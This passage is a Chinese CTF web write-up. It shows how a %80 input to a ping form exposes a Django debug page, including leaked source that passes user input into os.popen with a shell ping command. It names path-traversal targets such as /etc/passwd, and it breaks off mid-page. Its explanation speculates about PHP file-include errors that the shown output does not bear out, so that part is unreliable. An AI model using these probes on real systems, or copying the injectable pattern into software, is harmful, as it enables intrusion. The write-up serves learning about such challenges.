当前位置: 首页 > news >正文

【CTF-WEB】表单提交(特殊参数:?url=%80和?url=@)(通过GBK编码绕过实现文件包含读取flag)

题目

寻找这个单纯的网站的flag
在这里插入图片描述
前端代码:


<!DOCTYPE html>
<head><title>CAT</title>
</head><body>
<h1>Cloud Automated Testing</h1>
<p>输入你的域名,例如:loli.club</p>
<form action="index.php" method="GET"><input name="url" type="text"><button>Submit</button>
</form>
<pre><code>
</code></pre>
</body>

漏洞分析

针对可提交文本框,%80的使用

不管输入任何数字,点击Submit,都没有任何反应,唯独网址处会get一下这个参数

在这里插入图片描述
那么我们在网址处,把参数换成%80,这回,网页开始变得不一样了
在这里插入图片描述
原理分析:

当访问 http://223.112.39.132:46185/index.php?url=%80 时,需要从字符编码、后端处理逻辑和潜在漏洞的角度分析这一请求的意义:

  1. %80 的本质:特殊字符的URL编码
    %80 是URL编码后的结果,对应的十六进制值为 0x80(十进制128)。在ASCII编码中,0x00-0x7F 是标准可见字符(如字母、数字、符号),而 0x80-0xFF 属于高位ASCII字符(非标准ASCII),在单字节编码中通常无明确对应字符,更多用于多字节编码(如UTF-8、GBK等)的扩展。
    在UTF-8编码中,0x80 本身是无效的单字节字符(UTF-8的单字节范围仅为 0x00-0x7F0x80 及以上需用多字节表示),因此当服务器以UTF-8解码 %80 时,会被识别为无效字符
  2. 发送该请求的潜在目的:触发后端处理漏洞
    输入 %80 通常是为了测试后端对异常字符的处理逻辑,可能暴露以下漏洞或信息:
    (1)错误信息泄露
    若后端未妥善处理无效字符(如 0x80),可能抛出错误并泄露关键信息。例如:
  • 若后端使用PHP且开启了错误显示(display_errors = On),可能返回类似 Warning: include(�) failed to open stream: No such file or directory in /var/www/html/index.php on line X 的错误。
    • 这类错误直接暴露了后端使用 include/require 函数处理 url 参数(即文件包含逻辑),说明 url 参数可能被作为文件路径传入文件包含函数,这是典型的文件包含漏洞特征。
  • 错误中可能包含服务器路径(如 /var/www/html/),为后续构造文件路径(如读取 /flag/etc/passwd 等)提供依据。
    (2)文件包含漏洞的验证
    若后端确实通过文件包含函数(如PHP的 include($_GET['url']))处理 url 参数,%80 的作用是测试是否能绕过简单过滤。例如:
  • 部分过滤逻辑可能仅拦截 ../(路径穿越字符),但对 0x80 这类特殊字符无处理,此时 %80 可用于确认“文件包含”逻辑的存在(即使暂时无法读取文件)。
  • 若后续结合路径穿越(如 ../)+ 特殊字符(如 %80 可能干扰过滤),可能构造出有效路径(如 ../../../../flag),直接读取服务器上的 flag 文件。
    (3)编码处理漏洞
    在部分老旧服务器或框架中,对 0x80 这类高位字符的解码可能存在缺陷:
  • 例如,某些环境会将 0x80 解析为“空字节”(0x00),而空字节在C语言函数(如 fopen)中会截断字符串(如 flag.txt%00.jpg 会被解析为 flag.txt)。若 %80 被误解析为空字节,可能绕过“文件后缀限制”(若存在)。
    总结
    访问 url=%80 的核心目的是探测后端是否通过文件包含函数处理输入,并通过错误信息确认漏洞类型(如文件包含)。若返回包含 include/require 相关的错误,可进一步构造路径穿越 payload(如 ../../../../flag/etc/passwd 等)读取敏感文件,最终获取 flag

针对返回网页的分析

<!DOCTYPE html>
<html lang="en">
<head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="robots" content="NONE,NOARCHIVE"><title>UnicodeEncodeError at /api/ping</title><style type="text/css">html * { padding:0; margin:0; }body * { padding:10px 20px; }body * * { padding:0; }body { font:small sans-serif; }body>div { border-bottom:1px solid #ddd; }h1 { font-weight:normal; }h2 { margin-bottom:.8em; }h2 span { font-size:80%; color:#666; font-weight:normal; }h3 { margin:1em 0 .5em 0; }h4 { margin:0 0 .5em 0; font-weight: normal; }code, pre { font-size: 100%; white-space: pre-wrap; }table { border:1px solid #ccc; border-collapse: collapse; width:100%; background:white; }tbody td, tbody th { vertical-align:top; padding:2px 3px; }thead th {padding:1px 6px 1px 3px; background:#fefefe; text-align:left;font-weight:normal; font-size:11px; border:1px solid #ddd;}tbody th { width:12em; text-align:right; color:#666; padding-right:.5em; }table.vars { margin:5px 0 2px 40px; }table.vars td, table.req td { font-family:monospace; }table td.code { width:100%; }table td.code pre { overflow:hidden; }table.source th { color:#666; }table.source td { font-family:monospace; white-space:pre; border-bottom:1px solid #eee; }ul.traceback { list-style-type:none; color: #222; }ul.traceback li.frame { padding-bottom:1em; color:#666; }ul.traceback li.user { background-color:#e0e0e0; color:#000 }div.context { padding:10px 0; overflow:hidden; }div.context ol { padding-left:30px; margin:0 10px; list-style-position: inside; }div.context ol li { font-family:monospace; white-space:pre; color:#777; cursor:pointer; padding-left: 2px; }div.context ol li pre { display:inline; }div.context ol.context-line li { color:#505050; background-color:#dfdfdf; padding: 3px 2px; }div.context ol.context-line li span { position:absolute; right:32px; }.user div.context ol.context-line li { background-color:#bbb; color:#000; }.user div.context ol li { color:#666; }div.commands { margin-left: 40px; }div.commands a { color:#555; text-decoration:none; }.user div.commands a { color: black; }#summary { background: #ffc; }#summary h2 { font-weight: normal; color: #666; }#explanation { background:#eee; }#template, #template-not-exist { background:#f6f6f6; }#template-not-exist ul { margin: 0 0 10px 20px; }#template-not-exist .postmortem-section { margin-bottom: 3px; }#unicode-hint { background:#eee; }#traceback { background:#eee; }#requestinfo { background:#f6f6f6; padding-left:120px; }#summary table { border:none; background:transparent; }#requestinfo h2, #requestinfo h3 { position:relative; margin-left:-100px; }#requestinfo h3 { margin-bottom:-1em; }.error { background: #ffc; }.specific { color:#cc3300; font-weight:bold; }h2 span.commands { font-size:.7em;}span.commands a:link {color:#5E5694;}pre.exception_value { font-family: sans-serif; color: #666; font-size: 1.5em; margin: 10px 0 10px 0; }.append-bottom { margin-bottom: 10px; }</style><script type="text/javascript">//<!--function getElementsByClassName(oElm, strTagName, strClassName){// Written by Jonathan Snook, http://www.snook.ca/jon; Add-ons by Robert Nyman, http://www.robertnyman.comvar arrElements = (strTagName == "*" && document.all)? document.all :oElm.getElementsByTagName(strTagName);var arrReturnElements = new Array();strClassName = strClassName.replace(/\-/g, "\-");var oRegExp = new RegExp("(^|\s)" + strClassName + "(\s|$)");var oElement;for(var i=0; i<arrElements.length; i++){oElement = arrElements[i];if(oRegExp.test(oElement.className)){arrReturnElements.push(oElement);}}return (arrReturnElements)}function hideAll(elems) {for (var e = 0; e < elems.length; e++) {elems[e].style.display = 'none';}}window.onload = function() {hideAll(getElementsByClassName(document, 'table', 'vars'));hideAll(getElementsByClassName(document, 'ol', 'pre-context'));hideAll(getElementsByClassName(document, 'ol', 'post-context'));hideAll(getElementsByClassName(document, 'div', 'pastebin'));}function toggle() {for (var i = 0; i < arguments.length; i++) {var e = document.getElementById(arguments[i]);if (e) {e.style.display = e.style.display == 'none' ? 'block': 'none';}}return false;}function varToggle(link, id) {toggle('v' + id);var s = link.getElementsByTagName('span')[0];var uarr = String.fromCharCode(0x25b6);var darr = String.fromCharCode(0x25bc);s.textContent = s.textContent == uarr ? darr : uarr;return false;}function switchPastebinFriendly(link) {s1 = "Switch to copy-and-paste view";s2 = "Switch back to interactive view";link.textContent = link.textContent.trim() == s1 ? s2: s1;toggle('browserTraceback', 'pastebinTraceback');return false;}//--></script></head>
<body>
<div id="summary"><h1>UnicodeEncodeError at /api/ping</h1><pre class="exception_value">&#39;gbk&#39; codec can&#39;t encode character u&#39;\ufffd&#39; in position 0: illegal multibyte sequence</pre><table class="meta"><tr><th>Request Method:</th><td>POST</td></tr><tr><th>Request URL:</th><td>http://127.0.0.1:8000/api/ping</td></tr><tr><th>Django Version:</th><td>1.10.4</td></tr><tr><th>Exception Type:</th><td>UnicodeEncodeError</td></tr><tr><th>Exception Value:</th><td><pre>&#39;gbk&#39; codec can&#39;t encode character u&#39;\ufffd&#39; in position 0: illegal multibyte sequence</pre></td></tr><tr><th>Exception Location:</th><td>/opt/api/dnsapi/utils.py in escape, line 9</td></tr><tr><th>Python Executable:</th><td>/usr/bin/python</td></tr><tr><th>Python Version:</th><td>2.7.12</td></tr><tr><th>Python Path:</th><td><pre>[&#39;/opt/api&#39;,&#39;/usr/lib/python2.7&#39;,&#39;/usr/lib/python2.7/plat-x86_64-linux-gnu&#39;,&#39;/usr/lib/python2.7/lib-tk&#39;,&#39;/usr/lib/python2.7/lib-old&#39;,&#39;/usr/lib/python2.7/lib-dynload&#39;,&#39;/usr/local/lib/python2.7/dist-packages&#39;,&#39;/usr/lib/python2.7/dist-packages&#39;]</pre></td></tr><tr><th>Server time:</th><td>Thu, 17 Jul 2025 04:33:22 +0000</td></tr></table>
</div><div id="unicode-hint"><h2>Unicode error hint</h2><p>The string that could not be encoded/decoded was: <strong></strong></p>
</div><div id="traceback"><h2>Traceback <span class="commands"><a href="#" onclick="return switchPastebinFriendly(this);">Switch to copy-and-paste view</a></span></h2><div id="browserTraceback"><ul class="traceback"><li class="frame django"><code>/usr/local/lib/python2.7/dist-packages/django/core/handlers/exception.py</code> in <code>inner</code><div class="context" id="c139957791782672"><ol start="32" class="pre-context" id="pre139957791782672"><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>    This decorator is automatically applied to all middleware to ensure that</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>    no middleware leaks an exception and that the next middleware in the stack</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>    can rely on getting a response instead of an exception.</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>    &quot;&quot;&quot;</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>    @wraps(get_response, assigned=available_attrs(get_response))</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>    def inner(request):</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>        try:</pre></li></ol><ol start="39" class="context-line"><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>response = get_response(request)</pre> <span>...</span></li></ol><ol start='40' class="post-context" id="post139957791782672"><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>        except Exception as exc:</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>            response = response_for_exception(request, exc)</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>        return response</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>    return inner</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre></pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre></pre></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957791782672')"><span>&#x25b6;</span> Local vars</a></div><table class="vars" id="v139957791782672"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>exc</td><td class="code"><pre>UnicodeEncodeError(&#39;gbk&#39;, u&#39;\ufffd&#39;, 0, 1, &#39;illegal multibyte sequence&#39;)</pre></td></tr><tr><td>get_response</td><td class="code"><pre>&lt;bound method WSGIHandler._get_response of &lt;django.core.handlers.wsgi.WSGIHandler object at 0x7f4a78738b10&gt;&gt;</pre></td></tr><tr><td>request</td><td class="code"><pre>&lt;WSGIRequest: POST &#39;/api/ping&#39;&gt;</pre></td></tr></tbody></table></li><li class="frame django"><code>/usr/local/lib/python2.7/dist-packages/django/core/handlers/base.py</code> in <code>_get_response</code><div class="context" id="c139957808042712"><ol start="180" class="pre-context" id="pre139957808042712"><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>                break</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre></pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>        if response is None:</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>            wrapped_callback = self.make_view_atomic(callback)</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>            try:</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>                response = wrapped_callback(request, *callback_args, **callback_kwargs)</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>            except Exception as e:</pre></li></ol><ol start="187" class="context-line"><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>response = self.process_exception_by_middleware(e, request)</pre> <span>...</span></li></ol><ol start='188' class="post-context" id="post139957808042712"><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre></pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>        # Complain if the view returned None (a common error).</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>        if response is None:</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>            if isinstance(callback, types.FunctionType):    # FBV</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>                view_name = callback.__name__</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>            else:                                           # CBV</pre></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957808042712')"><span>&#x25b6;</span> Local vars</a></div><table class="vars" id="v139957808042712"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>callback</td><td class="code"><pre>&lt;function ping at 0x7f4a7773dcf8&gt;</pre></td></tr><tr><td>callback_args</td><td class="code"><pre>()</pre></td></tr><tr><td>callback_kwargs</td><td class="code"><pre>{}</pre></td></tr><tr><td>e</td><td class="code"><pre>UnicodeEncodeError(&#39;gbk&#39;, u&#39;\ufffd&#39;, 0, 1, &#39;illegal multibyte sequence&#39;)</pre></td></tr><tr><td>request</td><td class="code"><pre>&lt;WSGIRequest: POST &#39;/api/ping&#39;&gt;</pre></td></tr><tr><td>resolver</td><td class="code"><pre>&lt;RegexURLResolver &#39;api.urls&#39; (None:None) ^/&gt;</pre></td></tr><tr><td>resolver_match</td><td class="code"><pre>ResolverMatch(func=dnsapi.views.ping, args=(), kwargs={}, url_name=None, app_names=[], namespaces=[])</pre></td></tr><tr><td>response</td><td class="code"><pre>None</pre></td></tr><tr><td>self</td><td class="code"><pre>&lt;django.core.handlers.wsgi.WSGIHandler object at 0x7f4a78738b10&gt;</pre></td></tr><tr><td>wrapped_callback</td><td class="code"><pre>&lt;function ping at 0x7f4a7773dcf8&gt;</pre></td></tr></tbody></table></li><li class="frame django"><code>/usr/local/lib/python2.7/dist-packages/django/core/handlers/base.py</code> in <code>_get_response</code><div class="context" id="c139957808043288"><ol start="178" class="pre-context" id="pre139957808043288"><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>            response = middleware_method(request, callback, callback_args, callback_kwargs)</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>            if response:</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>                break</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre></pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>        if response is None:</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>            wrapped_callback = self.make_view_atomic(callback)</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>            try:</pre></li></ol><ol start="185" class="context-line"><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>response = wrapped_callback(request, *callback_args, **callback_kwargs)</pre> <span>...</span></li></ol><ol start='186' class="post-context" id="post139957808043288"><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>            except Exception as e:</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>                response = self.process_exception_by_middleware(e, request)</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre></pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>        # Complain if the view returned None (a common error).</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>        if response is None:</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>            if isinstance(callback, types.FunctionType):    # FBV</pre></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957808043288')"><span>&#x25b6;</span> Local vars</a></div><table class="vars" id="v139957808043288"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>callback</td><td class="code"><pre>&lt;function ping at 0x7f4a7773dcf8&gt;</pre></td></tr><tr><td>callback_args</td><td class="code"><pre>()</pre></td></tr><tr><td>callback_kwargs</td><td class="code"><pre>{}</pre></td></tr><tr><td>e</td><td class="code"><pre>UnicodeEncodeError(&#39;gbk&#39;, u&#39;\ufffd&#39;, 0, 1, &#39;illegal multibyte sequence&#39;)</pre></td></tr><tr><td>request</td><td class="code"><pre>&lt;WSGIRequest: POST &#39;/api/ping&#39;&gt;</pre></td></tr><tr><td>resolver</td><td class="code"><pre>&lt;RegexURLResolver &#39;api.urls&#39; (None:None) ^/&gt;</pre></td></tr><tr><td>resolver_match</td><td class="code"><pre>ResolverMatch(func=dnsapi.views.ping, args=(), kwargs={}, url_name=None, app_names=[], namespaces=[])</pre></td></tr><tr><td>response</td><td class="code"><pre>None</pre></td></tr><tr><td>self</td><td class="code"><pre>&lt;django.core.handlers.wsgi.WSGIHandler object at 0x7f4a78738b10&gt;</pre></td></tr><tr><td>wrapped_callback</td><td class="code"><pre>&lt;function ping at 0x7f4a7773dcf8&gt;</pre></td></tr></tbody></table></li><li class="frame user"><code>/opt/api/dnsapi/views.py</code> in <code>wrapper</code><div class="context" id="c139957808043432"><ol start="14" class="pre-context" id="pre139957808043432"><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>        # 合并 requests.FILES 和 requests.POST</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>        for k, v in request.FILES.items():</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>            if isinstance(v, InMemoryUploadedFile):</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>                v = v.read()</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>            request.FILES[k] = v</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre></pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>        request.POST.update(request.FILES)</pre></li></ol><ol start="21" class="context-line"><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>return f(*args, **kwargs)</pre> <span>...</span></li></ol><ol start='22' class="post-context" id="post139957808043432"><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre></pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>    return wrapper</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre></pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre></pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>@process_request</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>def ping(request):</pre></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957808043432')"><span>&#x25b6;</span> Local vars</a></div><table class="vars" id="v139957808043432"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>args</td><td class="code"><pre>(&lt;WSGIRequest: POST &#39;/api/ping&#39;&gt;,)</pre></td></tr><tr><td>f</td><td class="code"><pre>&lt;function ping at 0x7f4a7773dc80&gt;</pre></td></tr><tr><td>kwargs</td><td class="code"><pre>{}</pre></td></tr><tr><td>request</td><td class="code"><pre>&lt;WSGIRequest: POST &#39;/api/ping&#39;&gt;</pre></td></tr></tbody></table></li><li class="frame user"><code>/opt/api/dnsapi/views.py</code> in <code>ping</code><div class="context" id="c139957808045952"><ol start="23" class="pre-context" id="pre139957808045952"><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>    return wrapper</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre></pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre></pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>@process_request</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>def ping(request):</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>    # 转义</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>    data = request.POST.get(&#39;url&#39;)</pre></li></ol><ol start="30" class="context-line"><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>data = escape(data)</pre> <span>...</span></li></ol><ol start='31' class="post-context" id="post139957808045952"><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>    if not re.match(&#39;^[a-zA-Z0-9\-\./]+$&#39;, data):</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>        return HttpResponse(&quot;Invalid URL&quot;)</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre></pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>    return HttpResponse(os.popen(&quot;ping -c 1 \&quot;%s\&quot;&quot; % data).read())</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre></pre></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957808045952')"><span>&#x25b6;</span> Local vars</a></div><table class="vars" id="v139957808045952"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>data</td><td class="code"><pre>u&#39;\ufffd&#39;</pre></td></tr><tr><td>request</td><td class="code"><pre>&lt;WSGIRequest: POST &#39;/api/ping&#39;&gt;</pre></td></tr></tbody></table></li><li class="frame user"><code>/opt/api/dnsapi/utils.py</code> in <code>escape</code><div class="context" id="c139957808345456"><ol start="2" class="pre-context" id="pre139957808345456"><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre>    r = &#39;&#39;</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre>    for i in range(len(data)):</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre>        c = data[i]</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre>        if c in (&#39;\\&#39;, &#39;\&#39;&#39;, &#39;&quot;&#39;, &#39;$&#39;, &#39;`&#39;):</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre>            r = r + &#39;\\&#39; + c</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre>        else:</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre>            r = r + c</pre></li></ol><ol start="9" class="context-line"><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre>return r.encode(&#39;gbk&#39;)</pre> <span>...</span></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957808345456')"><span>&#x25b6;</span> Local vars</a></div><table class="vars" id="v139957808345456"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>c</td><td class="code"><pre>u&#39;\ufffd&#39;</pre></td></tr><tr><td>data</td><td class="code"><pre>u&#39;\ufffd&#39;</pre></td></tr><tr><td>i</td><td class="code"><pre>0</pre></td></tr><tr><td>r</td><td class="code"><pre>u&#39;\ufffd&#39;</pre></td></tr></tbody></table></li></ul></div><form action="http://dpaste.com/" name="pasteform" id="pasteform" method="post"><div id="pastebinTraceback" class="pastebin"><input type="hidden" name="language" value="PythonConsole"><input type="hidden" name="title"value="UnicodeEncodeError at /api/ping"><input type="hidden" name="source" value="Django Dpaste Agent"><input type="hidden" name="poster" value="Django"><textarea name="content" id="traceback_area" cols="140" rows="25">
Environment:Request Method: POST
Request URL: http://127.0.0.1:8000/api/pingDjango Version: 1.10.4
Python Version: 2.7.12
Installed Applications:
[&#39;django.contrib.admin&#39;,&#39;django.contrib.auth&#39;,&#39;django.contrib.contenttypes&#39;,&#39;django.contrib.sessions&#39;,&#39;django.contrib.messages&#39;,&#39;django.contrib.staticfiles&#39;,&#39;dnsapi&#39;]
Installed Middleware:
[&#39;django.middleware.security.SecurityMiddleware&#39;,&#39;django.contrib.sessions.middleware.SessionMiddleware&#39;,&#39;django.middleware.common.CommonMiddleware&#39;,&#39;django.contrib.auth.middleware.AuthenticationMiddleware&#39;,&#39;django.contrib.messages.middleware.MessageMiddleware&#39;,&#39;django.middleware.clickjacking.XFrameOptionsMiddleware&#39;]Traceback:File "/usr/local/lib/python2.7/dist-packages/django/core/handlers/exception.py" in inner39.             response = get_response(request)File "/usr/local/lib/python2.7/dist-packages/django/core/handlers/base.py" in _get_response187.                 response = self.process_exception_by_middleware(e, request)File "/usr/local/lib/python2.7/dist-packages/django/core/handlers/base.py" in _get_response185.                 response = wrapped_callback(request, *callback_args, **callback_kwargs)File "/opt/api/dnsapi/views.py" in wrapper21.         return f(*args, **kwargs)File "/opt/api/dnsapi/views.py" in ping30.     data = escape(data)File "/opt/api/dnsapi/utils.py" in escape9.     return r.encode(&#39;gbk&#39;)Exception Type: UnicodeEncodeError at /api/ping
Exception Value: &#39;gbk&#39; codec can&#39;t encode character u&#39;\ufffd&#39; in position 0: illegal multibyte sequence
</textarea><br><br><input type="submit" value="Share this traceback on a public website"></div>
</form>
</div><div id="requestinfo"><h2>Request information</h2><h3 id="user-info">USER</h3><p>AnonymousUser</p><h3 id="get-info">GET</h3><p>No GET data</p><h3 id="post-info">POST</h3><table class="req"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>url</td><td class="code"><pre>u&#39;\ufffd&#39;</pre></td></tr></tbody></table><h3 id="files-info">FILES</h3><p>No FILES data</p><h3 id="cookie-info">COOKIES</h3><p>No cookie data</p><h3 id="meta-info">META</h3><table class="req"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>CONTENT_LENGTH</td><td class="code"><pre>&#39;139&#39;</pre></td></tr><tr><td>CONTENT_TYPE</td><td class="code"><pre>&#39;multipart/form-data; boundary=------------------------e9b831ece813d4f5&#39;</pre></td></tr><tr><td>DJANGO_SETTINGS_MODULE</td><td class="code"><pre>&#39;api.settings&#39;</pre></td></tr><tr><td>GATEWAY_INTERFACE</td><td class="code"><pre>&#39;CGI/1.1&#39;</pre></td></tr><tr><td>HOME</td><td class="code"><pre>&#39;/root&#39;</pre></td></tr><tr><td>HOSTNAME</td><td class="code"><pre>&#39;00a9881ade11&#39;</pre></td></tr><tr><td>HTTP_ACCEPT</td><td class="code"><pre>&#39;*/*&#39;</pre></td></tr><tr><td>HTTP_EXPECT</td><td class="code"><pre>&#39;100-continue&#39;</pre></td></tr><tr><td>HTTP_HOST</td><td class="code"><pre>&#39;127.0.0.1:8000&#39;</pre></td></tr><tr><td>PATH</td><td class="code"><pre>&#39;/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&#39;</pre></td></tr><tr><td>PATH_INFO</td><td class="code"><pre>u&#39;/api/ping&#39;</pre></td></tr><tr><td>PWD</td><td class="code"><pre>&#39;/opt/api&#39;</pre></td></tr><tr><td>QUERY_STRING</td><td class="code"><pre>&#39;&#39;</pre></td></tr><tr><td>REMOTE_ADDR</td><td class="code"><pre>&#39;127.0.0.1&#39;</pre></td></tr><tr><td>REMOTE_HOST</td><td class="code"><pre>&#39;&#39;</pre></td></tr><tr><td>REQUEST_METHOD</td><td class="code"><pre>&#39;POST&#39;</pre></td></tr><tr><td>RUN_MAIN</td><td class="code"><pre>&#39;true&#39;</pre></td></tr><tr><td>SCRIPT_NAME</td><td class="code"><pre>u&#39;&#39;</pre></td></tr><tr><td>SERVER_NAME</td><td class="code"><pre>&#39;localhost&#39;</pre></td></tr><tr><td>SERVER_PORT</td><td class="code"><pre>&#39;8000&#39;</pre></td></tr><tr><td>SERVER_PROTOCOL</td><td class="code"><pre>&#39;HTTP/1.1&#39;</pre></td></tr><tr><td>SERVER_SOFTWARE</td><td class="code"><pre>&#39;WSGIServer/0.1 Python/2.7.12&#39;</pre></td></tr><tr><td>TZ</td><td class="code"><pre>&#39;UTC&#39;</pre></td></tr><tr><td>wsgi.errors</td><td class="code"><pre>&lt;open file &#39;&lt;stderr&gt;&#39;, mode &#39;w&#39; at 0x7f4a7b57e1e0&gt;</pre></td></tr><tr><td>wsgi.file_wrapper</td><td class="code"><pre>&#39;&#39;</pre></td></tr><tr><td>wsgi.input</td><td class="code"><pre>&lt;socket._fileobject object at 0x7f4a76c4d9d0&gt;</pre></td></tr><tr><td>wsgi.multiprocess</td><td class="code"><pre>False</pre></td></tr><tr><td>wsgi.multithread</td><td class="code"><pre>True</pre></td></tr><tr><td>wsgi.run_once</td><td class="code"><pre>False</pre></td></tr><tr><td>wsgi.url_scheme</td><td class="code"><pre>&#39;http&#39;</pre></td></tr><tr><td>wsgi.version</td><td class="code"><pre>(1, 0)</pre></td></tr></tbody></table><h3 id="settings-info">Settings</h3><h4>Using settings module <code>api.settings</code></h4><table class="req"><thead><tr><th>Setting</th><th>Value</th></tr></thead><tbody><tr><td>ABSOLUTE_URL_OVERRIDES</td><td class="code"><pre>{}</pre></td></tr><tr><td>ADMINS</td><td class="code"><pre>[]</pre></td></tr><tr><td>ALLOWED_HOSTS</td><td class="code"><pre>[]</pre></td></tr><tr><td>APPEND_SLASH</td><td class="code"><pre>True</pre></td></tr><tr><td>AUTHENTICATION_BACKENDS</td><td class="code"><pre>[u&#39;django.contrib.auth.backends.ModelBackend&#39;]</pre></td></tr><tr><td>AUTH_PASSWORD_VALIDATORS</td><td class="code"><pre>u&#39;********************&#39;</pre></td></tr><tr><td>AUTH_USER_MODEL</td><td class="code"><pre>u&#39;auth.User&#39;</pre></td></tr><tr><td>BASE_DIR</td><td class="code"><pre>&#39;/opt/api&#39;</pre></td></tr><tr><td>CACHES</td><td class="code"><pre>{u&#39;default&#39;: {u&#39;BACKEND&#39;: u&#39;django.core.cache.backends.locmem.LocMemCache&#39;}}</pre></td></tr><tr><td>CACHE_MIDDLEWARE_ALIAS</td><td class="code"><pre>u&#39;default&#39;</pre></td></tr><tr><td>CACHE_MIDDLEWARE_KEY_PREFIX</td><td class="code"><pre>u&#39;********************&#39;</pre></td></tr><tr><td>CACHE_MIDDLEWARE_SECONDS</td><td class="code"><pre>600</pre></td></tr><tr><td>CSRF_COOKIE_AGE</td><td class="code"><pre>31449600</pre></td></tr><tr><td>CSRF_COOKIE_DOMAIN</td><td 